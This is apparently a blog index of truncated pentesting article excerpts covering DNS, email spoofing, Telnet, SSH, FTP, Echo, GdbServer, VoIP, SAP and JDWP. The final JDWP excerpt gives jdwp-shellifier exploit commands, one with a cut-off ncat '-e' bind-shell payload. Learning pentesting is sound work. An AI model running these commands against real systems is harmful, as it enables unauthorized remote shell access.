Network Service Pentesting

Introduction The first thing you do in Pentesting dns is figuring out the target’s IP address. This is called the Recon phase, where the real work begins. Once you have the IP address, you can dig deeper to find out more about the target’s network and the services it’s running on different ports. After that, […]

Introduction Email spoofing is a way of sending fake emails to people. Criminals use these methods for attacks like phishing or spam, which can create hidden access points that look legitimate. Public email servers can be exploited for spoofing attacks. If your mail server is set up with an OPEN RELAY, attackers can perform these

Introduction Pentesting Telnet might sound like a throwback to the early days of the internet, but it’s a crucial skill in today’s cybersecurity landscape. Telnet, despite being largely replaced by more secure protocols, still pops up in various network configurations, often as an overlooked vulnerability. In this post, we dive into the essentials of pentesting

Introduction The SSH protocol, also called Secure Shell, lets you safely and reliably log in from one computer to another. It provides strong ways to verify identity and protects communication with strong encryption. SSH is a secure alternative to unprotected login methods like telnet and rlogin, as well as unsafe file transfer methods like FTP.

Introduction In this article, you will learn how to pentesting FTP Port 21, If you have any doubts comment down below. What is FTP FTP (File Transfer Protocol) is a service, or protocol, designed for transferring files between computers using the Transmission Control Protocol/Internet Protocol (TCP/IP). It operates as an Application Layer Protocol within the

Introduction In this article, you will learn how to pentest the Echo, If you have any doubts comment down below. Basic Information Pentesting Echo: An echo service is active on this host. Originally designed for testing and measurement, this service can use both TCP and UDP protocols. It simply returns any data it receives without

Introduction Pentesting Remote GdbServer: Gdbserver is a handy tool that lets you debug programs remotely. It runs right alongside the program you want to debug on the same machine, called the “target.” This setup allows the GNU Debugger to connect from another machine, the “host,” where you have the source code and a copy of

Introduction Hey there! So, guess what we’re diving into today? Pen testing VoIP systems! Yeah, it’s like exploring the wild west of communication, but with a hacker’s twist. The thing is, we’ve noticed there’s kind of a gap in how folks talk about hacking into VoIP setups. So, we’re here to shake things up a

Introduction In this article, you will learn how to pentest the SAP, If you have any doubts comment down below. What should we do if we’re tasked with conducting a SAP Penetration Test? One of the things I’ve always shied away from trying (mostly out of fear) is meddling with SAP. Why? Well, SAP has

Introduction In this article, you will learn how to pentest the Java Debug Wire Protocol aka JDWP, If you have any doubts comment down below. Exploiting you can utilize the Python exploit found at the website https://github.com/IOActive/jdwp-shellifier. ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data./jdwp-shellifier.py -t 192.168.2.9 -p 8000 –cmd ‘ncat -l -p 1337 -e